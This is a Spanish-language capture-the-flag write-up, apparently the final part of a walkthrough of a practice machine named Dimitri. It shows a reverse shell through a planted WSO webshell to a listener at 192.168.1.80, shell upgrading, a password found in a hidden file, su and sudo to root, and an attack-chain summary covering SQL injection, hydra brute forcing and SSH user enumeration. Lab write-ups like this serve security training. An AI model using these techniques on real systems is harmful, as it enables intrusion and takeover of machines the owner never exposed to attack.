PassPass.jpg   196.38 KB   2017-11-07 22:10:11   root/root     -rw-r--r--

No es un formulario casero: es WSO 2.6, una webshell PHP conocida, con gestor de ficheros, ejecutor de comandos, cliente SQL y utilidades de red. El Uname ya adelanta el nombre del host, Dimitri, el mismo que aparecía en el criptograma.

Revshell desde la backdoor

La sección Network de WSO trae la reverse shell ya montada (un back-connect en Perl que deja en /tmp/bc.pl), así que solo hay que indicar IP y puerto. Primero el listener:

nc -nlvp 443

El panel WSO en "Network tools" con el Back-connect en perl hacia 192.168.1.80 puerto 443, y a la derecha el nc a la escucha recibiendo la shell como www-data

listening on [any] 443 ...
connect to [192.168.1.80] from (UNKNOWN) [192.168.1.195] 38788
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data

La cabecera del panel ya había adelantado el contexto (User: 33 ( www-data ), Cwd: /var/www/html/vworkshop/kgbbackdoor/), y el whoami lo confirma. El can't access tty avisa de que la shell no es interactiva todavía.

Escalada de privilegios

Tratamiento de la TTY

Antes de enumerar nada conviene arreglar la shell: sin TTY no hay Ctrl+C sin morir, ni historial, ni su (que exige un terminal real para pedir la contraseña). El tratamiento es el de siempre, en dos tiempos: primero se abre una bash con TTY dentro de la sesión y se manda al fondo, luego se pone la terminal local en crudo y se recupera el trabajo.

script /dev/null -c bash
# Ctrl+Z
stty raw -echo; fg

la shell recibida sin tty se convierte en una bash con script, se suspende con Ctrl+Z y se recupera con stty raw -echo y fg

connect to [192.168.1.80] from (UNKNOWN) [192.168.1.195] 38788
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
$ script /dev/null -c bash
www-data@Dimitri:/var/www/html/vworkshop/kgbbackdoor$ ^Z
zsh: suspended  nc -nlvp 443
[1]  + continued  nc -nlvp 443
www-data@Dimitri:/var/www/html/vworkshop/kgbbackdoor$

Falta ajustar el tamaño (si no, el texto largo se parte donde no debe) y declarar el tipo de terminal, que es lo que da color y permite usar editores:

stty size            # en la máquina atacante
stty rows 49 cols 236
export TERM=xterm SHELL=bash

stty size devuelve 49 236 y se exportan TERM=xterm y SHELL=bash en la sesión de la víctima

www-data@Dimitri:/var/www/html/vworkshop/kgbbackdoor$ stty size
49 236

El nombre de máquina que asoma en el prompt, Dimitri, ya es una pista en sí mismo. Y con la shell usable, un ls -la sobre /home enseña lo que un ls pelado escondía:

alias ls="ls -la"
cd /home && ls

el ls -la de /home descubre un directorio oculto .Mylife junto a los home de dimitri y nicky

total 20
drwxr-xr-x  5 root    root    4096 Nov 16  2017 .
drwxr-xr-x 22 root    root    4096 Nov  1  2017 ..
drwxrwxr-x  2 dimitri dimitri 4096 Nov 16  2017 .Mylife
drwxr-xr-x  4 dimitri dimitri 4096 Nov 16  2017 dimitri
dr-xr-xr-x  4 nicky   nicky   4096 Nov  6  2017 nicky

Fuga en /home/.Mylife/.Secret

En /home hay un directorio oculto .Mylife con un .Secret:

cat /home/.Mylife/.Secret
cat /etc/passwd | grep -i dimi

.Secret de dimitri: texto que termina en "DimitryHateApple"; /etc/passwd muestra el usuario dimitri

www-data@Dimitri:/home/.Mylife$ cat .Secret
I have been working on this CIA BlackMarket Project but it seems like I am not doing anything
right for people. Selling drugs and guns is not my business so soon I will quit the job.

About my personal life I am a sharp shooter have two kids but my wife don't like me and I am
broke. Food wise I eat everything but DimitryHateApple

I will add more about later!

www-data@Dimitri:/home/.Mylife$ cat /etc/passwd | grep -i dimi
dimitri:x:1000:1000:,,,:/home/dimitri:/bin/bash

La última frase es un no-sequitur deliberado: en mitad de un texto sobre comida aparece DimitryHateApple pegado, sin espacios, con mayúsculas internas. Eso es una contraseña disfrazada. Pero hay un detalle: el texto escribe "Dimitry" con y mientras que /etc/passwd dice dimitri con i.

su dimitri -> sudo -> root

su dimitri
id
sudo su

su dimitri falla con la contraseña literal pero funciona con DimitriHateApple; id muestra el grupo 27(sudo) y sudo su da root@Dimitri

www-data@Dimitri:/home/.Mylife$ su dimitri
Password:
su: Authentication failure
www-data@Dimitri:/home/.Mylife$ su dimitri
Password:
dimitri@Dimitri:/home/.Mylife$ id
uid=1000(dimitri) gid=1000(dimitri) groups=1000(dimitri),4(adm),24(cdrom),27(sudo),...
dimitri@Dimitri:/home/.Mylife$ sudo su
[sudo] password for dimitri:
root@Dimitri:/home/.Mylife#

La primera su falla con DimitryHateApple literal, y la segunda funciona corrigiendo la letra: DimitriHateApple. Es exactamente el tipo de variación que un hydra con reglas de mutación encontraría, y que a ojo se resuelve leyendo el /etc/passwd.

Con la sesión de dimitri, el id enseña el remate: pertenece al grupo 27(sudo), así que un simple sudo su abre la shell de root pidiendo su propia contraseña, la que se acaba de descubrir.

cat /root/THEEND.txt

Shell root@Dimitri leyendo THEEND.txt: "FINALLY YOU MADE IT! THANKS FOR PLAYING BOOT2ROOT CTF..."

root@Dimitri:~# cat THEEND.txt
FINALLY YOU MADE IT!

THANKS FOR PLAYING BOOT2ROOT CTF AND PLEASE DO MAIL ME ANY SUGGESTIONS @ acebomber@protomail.com

THANKS SECTALKS BRISBANE FOR HOSTING MY CTF

Máquina pwneada.

Cadena de ataque

código fuente (base64: Operation Treadstone)  ->  nombres de Bourne  ->  ssh user enum -> nicky
    └─> cewl + hydra (FTP) -> nicky:CIA  ->  IMP.txt -> pista /vworkshop
            └─> SQLi UNION (sparepartid)  ->  hashes MD5  ->  admin:BigBossCIA
                    └─> login.php -> pista "Email access ?????"  ->  SquirrelMail jbourne:?????
                            └─> borrador Atbash (quipqiup)  ->  /kgbbackdoor + PassPass.jpg
                                    └─> strings -> dec2hex2texto -> HailKGB  ->  WSO 2.6 -> revshell
                                            └─> .Secret (Dimitry->Dimitri)  ->  su dimitri  ->  sudo su -> root

Lecciones aprendidas

  • Una pista temática es un diccionario. El base64 lleva a Operation Treadstone, sus personajes a los usuarios y cewl a un diccionario de 8283 palabras que acaba en segundos donde rockyou pedía 283 horas.
  • Un SSH antiguo delata usuarios. CVE-2018-15473 distingue usuario válido de inválido, y eso convierte siete nombres de una serie en un objetivo concreto.
  • El hash que no cae también es información. jbourne era el único sin resolver porque su contraseña (?????) no está en ninguna tabla; la pista del propio panel la entregaba en texto.
  • strings antes que nada en esteganografía. El texto suele estar concatenado al final del fichero y codificado; 19 dígitos decimales que dan 8 bytes ASCII no son un número, son una cadena.
  • Un 404 que devuelve 200 no es un 404. El código de estado real y una firma de servidor que no coincide con el escaneo delatan una página de error falsa.
  • Pertenecer al grupo sudo es root. Con sudo su no hace falta nada más; el resto de la cadena es llegar hasta un usuario que lo tenga.
Cheatsheet de comandos 14 comandos

Repaso rápido